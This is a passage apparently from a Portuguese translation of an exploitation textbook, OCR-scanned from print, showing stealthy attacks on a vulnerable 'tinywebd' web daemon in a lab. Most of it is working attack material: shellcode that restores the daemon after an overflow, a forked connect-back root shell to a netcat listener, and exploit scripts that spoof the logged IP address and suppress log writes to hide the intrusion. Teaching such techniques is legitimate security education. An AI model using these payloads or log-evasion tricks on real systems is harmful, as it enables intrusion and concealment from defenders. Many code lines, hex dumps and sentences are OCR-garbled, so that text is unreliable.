[NOP (372 bytes)] [shellcode (44 bytes)] [ret addr (128 bytes)]
localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $

De volta ao terminal de depuracao, o primeiro breakpoint & encontrado,
Alguns registros importantes da pilha sao exibidos, os quais mostram a
configuragao da pilha antes (e depois) da chamada do handle _ connec-
tion(). Entdo, a execugdo segue nainstrucao int3 no shellcode, que atua
como um breakpoint. Assim, esses registros da pilha sdo checados nova-
mente para ver seus estados no momento em que o shellcode comeca a
ser executado.

Breakpoint 1, 0x08048fb2 in main () at tinywebd.c:72

72 handle _connection(new _ sockfd, &client _ addr, logfd);
(gdb) i r esp ebx ebp

esp Oxbffff7e0 Oxbffff7e0

ebx Oxb7fdS5ff4 -1208131596

ebp Oxbffff848 Oxbffff848

(gdb) cont

Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
Oxbfff£f753 in 2?2 ()
(gdb) i r esp ebx ebp

esp Oxbffff7e0 Oxbffff7e0
ebx 0x6 6

ebp Oxbffff624 Oxbffff624
(gdb)

Essa saida mostra que o EBX e o EBP foram alterados no ponto em que
o shellcode inicia a execucao. No entanto, uma inspecéo das instrugdes na
desmontagem de main () mostra que o EBX, na verdade, néo é utilizado.
O compilador provavelmente salvou esse registo na pilha devido a alguma
regra relacionada a convencao de chamada, mesmo que nao seja realmente
usado. O EBP, no entanto, é bastante usado, uma vez que este é o ponto de
referéncia para todas as variaveis locais da pilha. Devido ao fato de o valor
original armazenado de EBP ter sido sobrescrito por nosso exploit, ele deve
serrecriado. Quando o EBP é restaurado para seu valor original, o shellcode
deve estar disponivel para fazer o “trabalho sujo” e entao retornaraomain ()
como de costume. Uma vez que os computadores sao deterministicos, as
instrugdes assembly explicardo claramente como fazer tudo isso.

(gdb) set dis intel

(gdb) x/5i main

0x8048d93 <main>: push ebp
0x8048d94 <main+l>: mov ebp,esp
0x8048d96 <main+3>: sub esp,0x68
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0x8048d99 <main+6>: and esp,O0xffEfE££0

0x8048d9c <main+9>: mov eax,0x0

(gdb) x/51 main+533

0x8048fa8 <main+533>: mov DWORD PTR [esp+4],eax

ox8048fac <main+537>: mov eax,DWORD PTR [ebp-12]
ox8048faf <main+540>: mov DWORD PTR [esp],eax

0x8048£fb2 <main+543>: call 0x8048fb9 <handle _connection>
0x8048£Db7 <main+548>: jmp  0x8048£65 <main+466>

(gdb)

Uma réapida olhada no inicio dafuncdomain () mostra que o EBP deveria
ser 0x68 bytes maior que ESP. Uma vez que o ESP néo foi danificado pelo
nosso exploit, podemos restaurar o valor para o EBP adicionando 0x68
bytes no ESP no final do nosso shellcode. Com o EBP restaurado o valor
adequado, a execugado do programa pode seguramente retornar para o
loop de aceitagao de conexao. O enderego de retorno apropriado para
a chamada handle connection() é a instrugdo encontrada depois da
chamada em 0x08048fb7. O shellcode seguinte utiliza essa técnica.

mark_restore.s

BITS 32
; Marca o sistema de arquivo para provar que vocé o executou.
jmp short one
two:
pop ebx ; Nome do arquivo
XOr ecx, ecx

mov BYTE [ebx+7], cl Nome do arquivo com terminador nulo

push BYTE 0x5 Open ()
pop eax
mov WORD cx, 0x441 ;7 O _ WRONLY|O _ APPEND|O _ CREAT
xor edx, edx
mov WORD dx, 0x180 ; S _IRUSR|S _ IWUSR
int 0x80 ; Abre arquivo para cria-lo.
; eax = descritor do arquivo retornado
mov ebx, eax ; Descritor do arquivo para o segundo arg
push BYTE 0x6 ; Close ()
pop eax
int 0x80 ; close file
lea ebp, [esp+0x68] ; Restaura EBP
push 0x08048£fDb7 ; Endereco de retorno.
ret ; Retorna
one:
call two

db “/HackedX”

Quando montado e usado em um exploit, esse shellcode restaurara a
execucao do daemon tinyweb depois de marcar o sistema de arquivo. O
daemon tinyweb nem mesmo sabe que alguma coisa aconteceu.

reader@hacking:~/booksrc $ nasm mark _restore.s
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reader@hacking:~/booksrc $ hexdump -C mark _restore

00000000 eb 26 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |.&[1.K.j.X£.A.1]|
00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 8d 6¢c (S e 1P PR R
00000020 24 68 68 b7 8f 04 08 c3 e8 d5 ff ff ff 2f 48 61 |$hh...../Ha|
00000030 63 6b 65 64 58 |ckedX]|

00000035

reader@hacking:~/booksrc $ sudo rm /Hacked

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ ./xtool _tinywebd _steath.sh mark _restore
127.0.0.1

target IP: 127.0.0.1

shellcode: mark _restore (53 bytes)

fake request: “GET / HTTP/1.1\x00” (15 bytes)

[Fake Request (15 b)] [NOP (348 b)] [shellcode (53 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $ 1ls -1 /Hacked

—IW——————— 1 root reader 0 2007-09-19 20:37 /Hacked
reader@hacking:~/booksrc $ ps aux | grep tinywebd
root 26787 0.0 0.0 1636 420 2 Ss 20:37 0:00 ./tinywebd

reader 26828 0.0 0.0 2880 748 pts/1 R+ 20:38 0:00 grep tinywebd
reader@hacking:~/booksrc $ ./webserver _id 127.0.0.1

The web server for 127.0.0.1 is Tiny webserver
reader@hacking:~/booksrc $

0x653 O filho trabalhador

Agora que a parte dificil foi compreendida, podemos usar essa técnica
para disseminar uma shell com permissao de root silenciosamente. Visto
que a shell é interativa, mas ainda queremos o processo para lidar com as
solicitagoes Web, precisamos desloca-la para um processo filho. A cha-
mada fork () criaum processo filho que é uma cépia exata do pai, exceto
pelo fato dele retornar 0 no processo filho e no ID do novo processo no
processo pai. Queremos nosso shellcode para deslocar e o processo filho
para servir o shell root, enquanto o processo pai restaura a execucao do
tinywebd. No shellcode a seguir, varias instrucdes sao adicionadas para
iniciar 0 loopback _ shell.s. Primeiro, o syscall de deslocamento é feito,
e o valor de retorno é colocado no registro EAX. As préximas instrucoes
testam se o EAX é zero. Se o EAX for zero, pulamos para o child _ pro-
cess para disseminar a shell. Caso contrario, estaremos no processo pai,
assim o shellcode restaura a execucao para o tinywebd.

loopback_shell_restore.s
BITS 32

push BYTE 0x02 ; Fork é o syscall #2
pop eax
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int 0x80 ; Apbs o fork, o processo filho de entrada eax
== 0.

test eax, eax

jz child _process ; O processo filho de entrada gera uma shell.

; No processo pai, tinywebd é restaurado.
lea ebp, [esp+0x68] ; Restaura EBP.
push 0x08048fb7 ; Enderego de retorno.
ret ; Retorna

child _ process:
; s = socket(2, 1, 0)
push BYTE 0x66 ; Socketcall é syscall #102 (0x66)

N

pop eax

cdg ; Zera edx para uso como DWORD null
posteriormente.

xor ebx, ebx ; ebx é o tipo do socketcall.

inc ebx ; 1 = SYS_SOCKET = socket()

push edx ; Constréi o array de arg: { protocol = 0,

push BYTE 0x1
push BYTE 0x2
mov ecx, esp

(ao contrario) SOCK _ STREAM = 1,
AF _INET = 2 }
ecx = ptr para o array de argumento

int 0x80 Apés o syscall, eax possui o descritor do arquivo
de socket.
.: [ Output trimmed ; o resto é o mesmo que loopback _ shell.s. ] :.

A listagem a seguir mostra esse shellcode em uso. Mltiplos servigos
sao usados ao invés de multiplos terminais, assim o listener netcat é en-
viado para segundo plano por meio da finalizacdao do comando com um
“&”. Depois que a shell se conecta de volta, o comando fg traz o listener
de volta para o primeiro plano. O processo entao é suspenso teclando
CTRL + Z, que retorna para a shell BASH. Poderia ser mais facil utilizar
multiplos terminais conforme vocé segue adiante, mas o controle do
servico € util para aqueles momentos em que vocé nao se pode dar ao
luxo de ter multiplos terminais.

reader@hacking:~/booksrc $ nasm loopback _shell restore.s
reader@hacking:~/booksrc $ hexdump -C loopback _shell restore

00000000 6a 02 58 cd 80 85 cO 74 0Oa 8d 6c 24 68 68 b7 8f |j.X..t.1l$hh.|
00000010 04 08 c3 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 |..j£X.1.CRj.j.|
00000020 el cd 80 96 6a 66 58 43 68 7f bb bb 01 66 89 54 |..jfXCh..f.T|
00000030 24 01 66 68 7a 69 66 53 89 el 6a 10 51 56 89 el |$.fhzifS.j.QV.|
00000040 43 cd 80 87 f3 87 ce 49 b0 3f cd 80 49 79 £f9 b0 |C...I.2.Iy.|
00000050 Ob 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 |.Rh//shh/bin.R.|
00000060 e2 53 89 el cd 80 ].S..|

00000066

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ nc -1 -p 31337 &

[1] 27279

reader@hacking:~/booksrc $ ./xtool _tinywebd _ steath.sh loopback _shell
restore 127.0.0.1
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target IP: 127.0.0.1

shellcode: loopback _ shell restore (102 bytes)

fake request: “GET / HTTP/1.1\x00” (15 bytes)

[Fake Request (15 b)] [NOP (299 b)] [shellcode (102 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $ fg

ne =1 =p. 31337

whoami

root

[1]+ Stopped ne -1 -p 31337
reader@hacking:~/booksrc $ ./webserver _id 127.0.0.1
The web server for 127.0.0.1 is Tiny webserver
reader@hacking:~/booksrc $ fg

nc -1 -p 31337

whoami

root

Com esse shellcode, a shell root do retorno da conexao é mantida por
um processo filho separado, enquanto o processo pai continua a servir
o contetido Web.

0x660 Camuflagem avancada

Nosso atual exploit secreto camufla apenas a solicitacao Web; no entan-
to, o endereco IP e data e hora sao ainda escritos no arquivo de log. Esse
tipo de camuflagem fard com que os ataques tornem-se mais dificeis de
se encontrar, mas eles nao sao invisiveis. Ter o seu endereco IP gravado
nos logs, que podem ser mantidos por anos, pode levar a problemas no
futuro. Uma vez que nés estamos nos intrometendo no daemon tinyweb
agora, devemos ser capazes de esconder ainda mais a nossa presenca.

0x661 Spoofing em um endereco IP logado

O endereco IP gravado no arquivo de log vem a partir do client _
addr _ ptr, que é passado para o handle connection().

Segmento do cédigo a partir do tinywebd.c

void handle _ connection(int sockfd, struct sockaddr _in *client _ addr _ ptr,
int logfd) {

unsigned char *ptr, request[500], resource([500], log _ buffer([500];

int fd, length;

length = recv _ line(sockfd, request);

sprintf(log _ buffer, “From %s:%3d \”%s\”\t”, inet _ntoa(eclient _ addr _ ptr-
>sin _ addr), ntohs(client _addr _ ptr->sin _ port), request);
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Para subverter o enderego IP, precisamos injetar apenas nossa propria
estrutura sockaddr in e sobrescrever o client addr ptr com o
enderego da estrutura injetada. A melhor maneira de gerar c3% mm:c”m.qw
sockaddr in parainjegao é escrever um pequeno umn.vmqmﬂmﬁc“:%mw:ao
descarrega a estrutura. O codigo-fonte a seguir constroiaes Ea. X .
0s pardmetros de linha de comando e entao grava os dados diretamente
no descritor do arquivo 1, que é a saida padrao.

addr_struct.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv(]) {
struct sockaddr _in addr;
if(argec '= 3) {
printf(“Usage: %s <target IP
exit(0);

> <target port>\n”, argv[0]);

}

maan.mH:|.mmBHH< = AF _ INET;

addr.sin port = htons(atoi(argv(2]))/ )i
addr.sin _addr.s _addr = inet _addr(argvitils

in));

write (1, saddr, sizeof(struct sockaddr _

’

Esse programa pode ser usado para injetar uma estrutura sockaddr _

i xecutado.
in. A saida mostra o programa sendo compilado e e

ct addr _ struct.c

. S - stru
reader@hacking:~/booksrc $ gcc -o addr _ .34.56.78 9090

reader@hacking:~/booksrc $ ./addr _struct 12
##

“8N _ reader@hacking:~/booksrc $
reader@hacking:~/booksrc $ ./addr _struct 12. S
00000000 02 00 23 82 0c 22 38 4e 00 00 00 00 £4 5f f
00000010
reader@hacking:~/booksrc $

34.56.78 9090 | hexdump -C
|.#.”8N... _ .|

trutura do endereco é injeta-
NOP. J4 que a solicitagao
em Oxbffff5c0, O

Para integrar isso ao NOsso exploit, a mm_ .
da ap6s a solicitagao falsa, mas antes do s Ma oP. J
falsa tem 15 bytes e nés sabemos que o buffer
enderego falso sera injetado em 0xpfffffSct.
nw:%i@UQ,lmdmmﬂ:.mv

from buffer @ Oxbfff£5c0
“p /x Oxbffff5c0 + 15”

reader@hacking:~/booksrc $ grep 0x xtool _
RETADDR="\x24\xf6\xff\xbf” # at +100 bytes
reader@hacking:~/booksrc $ gdb -g -batch -ex
$1 = OxbffffScf

reader@hacking:~/pbooksrc $
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Uma vez que o client addr ptr é passado como um segundo
pardmetro da fungao, ele estara na pilha duas DWORDs ap6s o enderego
de retorno. O script do exploit a seguir injeta uma estrutura de enderego
falso e sobrescreve client _ addr _ ptr.

xtool_tinywebd_spoof.sh

#!/bin/sh
4 Ferramenta de exploit de roubo com spoofing de IP para tinywebd

SPOOFIP="12.34.56.78"
SPOOFPORT="9090"

if [ -z “$2” ]; entdo # se o argumento 2 estd em branco
echo “Usage: $0 <shellcode file> <target IP>”
exit

£i

FAKEREQUEST="GET / HTTP/1.1\x00”

FR _ SIZE=$(perl -e “print \”$FAKEREQUEST\”” | wc -c | cut -fl -d ' ')
OFFSET=540

RETADDR="\x24\xf6\xff\xbf” # At +100 bytes from buffer @ Oxbffff5c0
FAKEADDR="\xcf\xf5\xff\xbf” # +15 bytes from buffer @ O0xbffff5c0
echo “target IP: $2”

SIZE='wc -c $1 | cut -f1 -d 'V

echo “shellcode: $1 ($SIZE bytes)”

echo “fake request: \”$FAKEREQUEST\” ($SFR _ SIZE bytes)”

ALIGNED _ SLED _ SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR _ SIZE - 16))

echo “[Fake Request $FR _ SIZE] [spoof IP 16] [NOP SALIGNED _ SLED _ SIZE]
[shellcode $SIZE] [ret

addr 128] [*fake _addr 8]”

(perl -e “print \”$FAKEREQUEST\””;

./addr _ struct “$SPOOFIP” “$SPOOFPORT”;

perl -e “print \”\x90\”"x$ALIGNED _ SLED _ SIZE”;

cat $1;

perl -e “print \”$RETADDR\”x32 . \”$FAKEADDR\”x2 . \”\r\n\””) | nc -w 1 -v $2 80

A melhor maneira para explicar exatamente o que esse script de explo-
ragao faz é observar o tinywebd a partir do GDB. Na saida a seguir, o GDB
¢é usado para anexar ao processo tinywebd em execucao, sao definidos
breakpoints antes do overflow, e a porgao IP do buffer do log é gerada.

reader@hacking:~/booksrc $ ps aux | grep tinywebd

root 27264 0.0 0.0 1636 420 2 Ss 20:47 0:00 ./tinywebd
reader 30648 0.0 0.0 2880 748 pts/2 R+ 22:29 0:00 grep tinywebd
reader@hacking:~/booksrc $ gcc -g tinywebd.c

reader@hacking:~/booksrc $ sudo gdb -g—pid=27264 --symbols=./a.out

warning: not using untrusted file “/home/reader/.gdbinit”

Using host libthread _db library “/1ib/t1s/i686/cmov/libthread _ db.so.l”.
Attaching to process 27264 -
/cow/home/reader/booksrc/tinywebd: No such file or directory.

396 Hacking

A program is being debugged already. Kill it? (y or n) n

Program not killed. ;

(gdb) list handle _ connection

717 /* Esta funcdo manipula a conexdo com o socket a partir do endereco do

78 * cliente e loga o FD passado. A conexdo é processada como uma solici-
79 * tacdo Web, e essa funcdo responde no socket conectado. Final-

80 * mente, o socket passado é fechado no fim da fungéo.

81 *7

82 void handle _connection(int sockfd, struct sockaddr _in *client addr _
ptr, int logfd) {

83 unsigned char *ptr, request[500], resource[500], log _ buffer[500];
84 int fd, length; N

85

86 length = recv _ line(sockfd, request);

(gdb)

87

88 sprintf(log _ buffer, “From $s:%d \"%s\”\t”, inet _ntoa(client _addr _ptr-

>sin _ addr), ntohs(client _addr _ ptr->sin _port), request);
89

920 ptr = strstr(request, « HTTP/»); // Procura uma solicitagdo valida.

91 if(ptr == NULL) { // Se n&oc & um HTTP valido

92 strcat(log _buffer, ™ NOT HTTP!\n”);

93 } else {

94 *ptr = 0; // Encerra o buffer no fim da URL.

95 ptr =NULL; // Define optr para NULL (usado paramarcar uma solicitagdo invalida).
96 if(strncmp (request, “GET “, 4) == 0) // Obtém solicitagdo

(gdb) break 86

Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86.
(gdb) break 89

Breakpoint 2 at 0x8049028: file tinywebd.c, line 89.
(gdb) cont

Continuing.

Entéo, a partir de outro terminal, o novo exploit de spoofing & usado
para avancgar a execugao no depurador.

reader@hacking:~/booksrc §$ ./xtool _tinywebd _spoof.sh mark _restore
127.0.0.1

target IP: 127.0.0.1

shellcode: mark _restore (53 bytes)

fake request: “GET / HTTP/1.1\x00” (15 bytes)

[Fake Request 15] [spoof IP 16] [NOP 332] ([shellcode 53] [ret addr 128]
[*fake _ addr 8]

localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $

De volta ao terminal depurador, o primeiro breakpoint é atingido.

Breakpoint 1, handle _connection (sockfd=9, client _addr _ ptr=0xbffff810,
logfd=3) at tinywebd.c:86

86 length = recv _ line(sockfd, request);

(gdb) bt

#0 handle connection (sockfd=9, client _addr _ ptr=0xbffff810, logfd=3) at
tinywebd.c:86
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#1 0x08048fb7 in main () at tinywebd.c:72
(gdb) print client _addr _ptr

$1 = (struct sockaddr _in *) Oxbffff810
(gdb) print *client _addr _ptr
$2 = {sin _ family = 2, sin port = 15284, sin _addr = {s _addr = 16777343},

sin _zero = “\000\000\000\000\000\000\000"}
(gdb) x/x &client _addr _ptr

Oxbffff7ed: Oxbff£f£f810

(gdb) x/24x request + 500

Oxbffff7b4: Oxbffff624 Oxbffff624 Oxbffff624 Oxbffff624
Oxbffffic4: Oxbffff624 Oxbffff624 0x0804b030 Oxbffff624
Oxbffff7d4: 0x00000009 Oxbffff848 0x08048fb7 0x00000009
Oxbffff7ed: Oxbff£f£810 0x00000003 Oxbffff838 0x00000004
Oxbffff7f4: 0x00000000 0x00000000 0x08048a30 0x00000000
Oxbffff804: 0x0804a8c0 Oxbffff818 0x00000010 0x3bb40002
(gdb) cont

Continuing.

Breakpoint 2, handle _connection (sockfd=-1073744433, client _addr _
ptr=0xbffff5cf, logfd=2560) at tinywebd.c:90

90 ptr = strstr(request, “ HTTP/”); // Search for valid-looking request.
(gdb) x/24x request + 500

Oxbffff7b4: Oxbffff624 Oxbffff624 Oxbffff624 Oxbffff624

Oxbffffic4: Oxbffff624 Oxbffff624 Oxbffff624 Oxbffff624

Oxbffff7d4: Oxbffff624 Oxbffff624 Oxbffff624 OxbffffScf

Oxbffff7ed: OxbffffScf 0x00000a00 Oxbffff838 0x00000004

Oxbffff7f4: 0x00000000 0x00000000 0x08048a30 0x00000000

Oxbffff804: 0x0804a8c0 Oxbffff818 0x00000010 0x3bb40002

(gdb) print client _addr _ptr

$3 = (struct sockaddr _ in *) OxbffffScf

(gdb) print client _addr _ptr

$4 = (struct sockaddr _in *) Oxbffff5cf

(gdb) print *client _addr _ptr

$5 = {sin _family = 2, sin_port = 33315, sin _addr = {s _addr = 1312301580},
sin _ zero = “\000\000\000\000 _

(gdb) x/s log _ buffer

OxbfffflcO0: “From 12.34.56.78:9090 \”GET / HTTP/1.1\”\t”

(gdb)

No primeiro breakpoint, cliente _addr _ ptr é mostrado em Oxbffff7e4
e apontando para 0xbfff£810. Ele se encontra na meméria na pilha duas
DWORDs apo6s o enderego de retorno. O segundo breakpoint encontra-se
apos asobrescricdo, entdo o client addr ptrem Oxbffff74 é mostrado
como sobrescrito com o endereco da estrutura injetada sockaddr _ in em
0xbffff5cf. A partir daqui, podemos espiar o log _ buffer antes que seja
sobrescrito no log para verificar o funcionamento da injecdo do endereco.

0x662 Exploitation sem log

Idealmente, ndo queremos deixar nenhum vestigio. No setup do LiveCD,
tecnicamente, vocé pode deletar apenas os arquivos de log depois que ob-
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tiver uma shell de root. No entanto, vamos assumir que esse programa faz
parte de uma infraestrutura segura onde os arquivos de log estdo espelhados
em um servidor autenticado seguro que tem o minimo acesso ou talvez uma
impressora de linha. Nesses casos, deletando os arquivos de _om depois da
agdo nao seria uma op¢ao. Afungéo timestamp () no ammBO.: tinyweb tenta
ser segura gravando diretamente para um descritor de arquivo aberto. Nao
podemos impedir que essa fungdo seja chamada, e nédo anm_jo.m desfazero
que ela grava no arquivo de log. Essa seria uma medida defensiva Ummam:ﬁm
eficaz; contudo, foi implementada de forma ammn_mam. Na verdade, no exploit
anterior, nés encontramos esse problema por acaso.

Apesar de logfd ser uma variavel global, ela também é passada para
handle connection() como um parametro da fungao. A partir da dis-
cussio do contexto funcional, vocés devem se lembrar que isso cria outra
variavel da pilha com o mesmo nome, logfd. Uma vez que esse parame-
tro é encontrado apés o client addr ptr na pilha, ele é sobrescrito
parcialmente pelo terminador nulo e o byte extra 0x0a é encontrado no
fim do exploit de buffer.

(gdb) x/xw &client _addr _ptr
Oxbffff7ed: OxbffffSct
(gdb) x/xw &logfd

Oxbffff7e8: 0x00000a00

(gdb) x/4xb &logfd

Oxbffff7e8: 0x00 Ox0a 0x00 0x00

(gdb) x/8xb &client _ addr _ ptr

Oxbffffled: Oxcf O0xf5 Oxff Oxbf 0x00 Ox0a 0x00 0x00
(gdb) p logfd

$6 = 2560

(gdb) quit

The program is running. Quit anyway (and detach it)? (y or n) y
Detaching from program: , process 27264

reader@hacking:~/booksrc $ sudo kill 27264
reader@hacking:~/booksrc $

Enquanto o arquivo de log descritivo ndo vem a ser 2560 (0x0a00 em
hexadecimal), toda vez que o0 handle connection() tentar gravar no
log, ele falhara. Esse efeito pode ser explorado rapidamente utilizando o
strace. Na saida a seguir, o strace é usado com o parametro de linha de
comando -p para anexa-lo ao processo em execucao. O parametro -e
trace=write diz ao strace para observar apenas as chamadas de gra-
vagao. Mais uma vez, a ferramenta da exploit com muoom:m é usada em
outro terminal para se conectar e avancar a execugao.

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ ps aux | grep tinywebd

root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd
reader 525 0.0 0.0 2880 748 pts/1 R+ 23:24 0:00 grep tinywebd
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reader@hacking:~/booksrc $ sudo strace -p 478 -e trace=write

Process 478 attached - interrupt to quit

smwwmANmmo\ “09/19/2007 23:29:30> ™, 21) = -1 EBADF (Bad file descripto

write (2560, “From 12.34.56.78:9090 \"GET / HTT”.., 47) = -1 EBADF (Bad file Mwm w&
Process 478 detached S
reader@hacking:~/booksrc $

)

Essa saida mostra claramente as tentativas de gravar no arquivo de |o
*m_:ma:,_.. Normalmente, ndo seriamos capazes de sobrescrevera <m1m<mw_
Hooma.. VISto que 0 client _addr ptr estd no caminho. Alterar esse
uo:ﬂm_\qo sem o devido cuidado em geral leva a uma quebra. Mas uma vez
nm_m nos nos certificamos de que essa variavel aponta para uma memérj
vélida (nossa estrutura de enderego subvertida injetada), podemos mow
gm.mnqm.swq as variaveis situadas além dela. Visto que o daemon tinywep
redireciona a saida padrao para /dev/null, o préximo script de exploit
mwgmmowgmﬂm a variavel logfd passada com 1, para a saida padréo. Isso
ainda evitara que sejam gravadas entradas no arquivo de log, mas de uma
forma muito melhor — sem erros.

xtool_tinywebd_silent.sh

#!/bin/sh
# Ferramenta de exploit de roubo silencioso para tinywebd
# também aplica spoofing no endereco IP armazenado na meméria

SPOOFIP="12.34.56.78"
SPOOFPORT="9090"

if [ -z “$2” ]; then # If argument 2 is blank

echo “Usage: $0 <shellcode file> <target IP>”"

exit
fi
FAKEREQUEST="GET / HTTP/1.1\x00”
FR SIZE= -e ™ i 2 "
ommeHMMb%Avmnw e “print \”$FAKEREQUEST\ | we -c | cut -f1 -4 " )
RETADDR="\x24\xf6\xff\xbf” # At +100 bytes from buffer @ Oxbffff5c0
FAKEADDR="\XCf\xfS\xff\xbf” # +15 bytes from buffer @ Oxbffff5cQ
echo “target IP: $2~
SIZE="wc -c $1 | cut -f1 -4 *
echo “shellcode: $1 ($SIZE bytes)”
echo “fake request: \"SFAKEREQUEST\” ($FR SIZE bytes)”
>mezm0|.mhm0»<mHNmnmAAmOWMmme+» - (32*%4) - $SIZE - $FR SIZE - 16))

echo ™“[Fake Request $FR _ SIZE] [spoof IP 16] [NOP S$SALIGNED SLED SIZE]
[shellcode $SIZE] [ret addr 128] [*fake addr 8]” B -
(perl -e “print \”$FAKEREQUEST\"”; B

.\maah‘|MﬁHc0ﬂ “$SPOOFIP” “$SPOOFPORT”;

perl -e “print \”"\x90\”x$ALIGNED SLED SIZE”;

cat $1; - -
perl -e “print \”$RETADDR\”x32 . \” $FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"")
| nc -w 1 -v $2
80
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Quando esse script é usado, o exploit é totalmente silencioso e nada
é gravado no arquivo de log.

reader@hacking:~/booksrc $ sudo rm /Hacked
reader@hacking:~/booksrc $ ./tinywebd

starting tiny web daemon..

reader@hacking:~/booksrc $ 1ls -1 /var/log/tinywebd.log

1 root reader 6526 2007-09-19 23:24 /var/log/tinywebd.log
reader@hacking:~/booksrc $ ./xtool _tinywebd _silent.sh mark _restore

127.0.0.1

target IP: 127.0.0.1 : N

shellcode: mark _restore (53 bytes)

fake request: “GET / HTTP/1.1\x00” (15 bytes)

[Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128]

[*fake _addr 8]

localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $ 1ls -1 /var/log/tinywebd.log

1 root reader 6526 2007-09-19 23:24 /var/log/tinywebd.log

reader@hacking:~/booksrc $ 1ls -1 /Hacked
—rwW-————== 1 root reader 0 2007-09-19 23:35 /Hacked

reader@hacking:~/booksrc $

Note que o tamanho do arquivo de log e o tempo de acesso permane-
cem os mesmos. Utilizando essa técnica, podemos explorar o tinywebd
sem deixar qualquer vestigio nos arquivos de log. Além disso, as chama-
das de gravacgao sao executadas perfeitamente, conforme tudo é gravado
em /dev/null. Isso é mostrado pelo strace na saida a seguir, quando a
ferramenta de exploracéao silenciosa é executada em outro terminal.

reader@hacking:~/booksrc $ ps aux | grep tinywebd

root 478 0.0 0.0 1636 420 2 Ss 23:24 0:00 ./tinywebd
reader 1005 0.0 0.0 2880 748 pts/1 R+ 23:36 0:00 grep tinywebd
reader@hacking:~/booksrc $ sudo strace -p 478 -e trace=write

Process 478 attached - interrupt to quit

write (1, “09/19/2007 23:36:31> %, 21) = 21

write(l, “From 12.34.56.78:9090 \”GET / HTT”.., 47) = 47

Process 478 detached

reader@hacking:~/booksrc $

0x670 A infraestrutura completa

Como sempre, os detalhes podem estar ocultos em uma imagem maior.
Geralmente, existe um Gnico host em alguns tipos de infraestruturas. As
medidas defensivas, tais como sistemas de detecgao de invasao (IDS) e
sistemas de prevencao contra invasao (IPS), podem detectar um trafego
anormal na rede. Mesmo arquivos de log simples em roteadores e firewalls
podem revelar conexdes anormais que sdao um indicio de uma invasao.
Em particular, a conexao para a porta 31337 usada em nosso shellcode
connect-back é um grande sinal de perigo. N6s poderiamos mudar a porta
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para algo que parecesse menos suspeito; contudo, simplesmente ter um
servidor Web com as conexdes de saida abertas ja poderia ser um sing|
de perigo por si s6. Uma infraestrutura altamente segura poderia até ter
a configuracao do firewall com filtros de egresso para evitar conexées
de saida. Nessas situagoes, abrir uma nova conex&o serd impossivel oy
ela sera detectada.

0x671 Reutilizacao do socket

No nosso caso, realmente ndao ha necessidade de abrir uma nova co-
nexdo, uma vez que nos ja temos um socket aberto da solicitacdo Web. J3
que nds estamos modificando o daemon t/inyweb internamente, com uma
pequena depuragao, podemos reutilizar a socket existente para a shell do
root. Isso evita conexdes TPC adicionais de serem logadas e permite a
exploracao em casos onde o host alvo ndo pode abrir conexées de saida.
Observe o codigo-fonte do tinywebd.c mostrado a seguir.

Excerpt from tinywebd.c

while(l) { // Aceita o loop
sin _ size = sizeof(struct sockaddr _in);
new _ sockfd = accept(sockfd, (struct sockaddr *)&client _addr, &sin _size);
if(new _ sockfd == -1)
fatal(“Maccepting connection”);

handle _connection(new _ sockfd, &client _addr, logfd);
}

return 0;

/* Esta funcdo manipula a conexdo com o socket a partir do enderego do
* cliente e loga o FD passado. A conexdo é processada como uma solici-
* tacdo web, e essa funcdo responde no socket conectado. Final-

* mente, o socket passado é fechado no fim da funcdo.

*/
void handle _ connection(int sockfd, struct sockaddr _in *client _ addr _ ptr,
int logfd) {

unsigned char *ptr, request[500], resource[500], log _ buffer[500];
int fd, length;

length = recv _ line(sockfd, request);

Infelizmente, o sockfd passado para handle connection() inevita-
velmente sera sobrescrito e assim podemos fazer o mesmo com o logfd.
Essa sobrescri¢do ocorre antes que n6s tomemos o controle do programa
no shellcode, assim ndo ha como recuperar o valor anterior de sockfd.
Felizmente, 0 main() mantém outra copia do descritor do arquivo do
socket em new _ sockfd.
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reader@hacking:~/booksrc $ ps aux | grep tinywebd

root 478 0.0 0.0 1636 420 2 Ss 23:24 0:00 ./tinywebd

reader 1284 0.0 0.0 2880 748 pts/1 R+ 23:42 0:00 grep tinywebd
reader@hacking:~/booksrc $ gcc -g tinywebd.c

reader@hacking:~/booksrc $ sudo gdb -gq—pid=478 --symbols=./a.out
warning: not using untrusted file “/home/reader/.gdbinit”

Using host libthread _db library “/1ib/tls/i686/cmov/libthread _ db.so.1”.
Attaching to process 478

/cow/home/reader/booksrc/tinywebd: No such file or directory

A program is being debugged already. Kill it? (y or n) n

program not killed. .
(gdb) list handle _ connection
77 /* Esta func¢do manipula a conexdo com o socket a partir do enderego do

N

78 * cliente e loga o FD passado. A conexdo é processada como uma solici-
79 * tagdo Web, e essa fungdo responde no socket conectado. Final-

80 * mente, o socket passado é fechado no fim da funcgéo.

81 *f

82 void handle _ connection(int sockfd, struct sockaddr _in *client _ addr _
ptr, int logfd) {

83 unsigned char *ptr, request[500], resource[500], log _ buffer[500];
84 int fd, length;

85

86 length = recv _ line(sockfd, request);

(gdb) break 86

Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86.
(gdb) cont

Continuing.

Depois que o breakpoint é definido e o programa continua, a ferramenta
de exploit silencioso é usada a partir de outro terminal para conectar e
avancar a execugao.

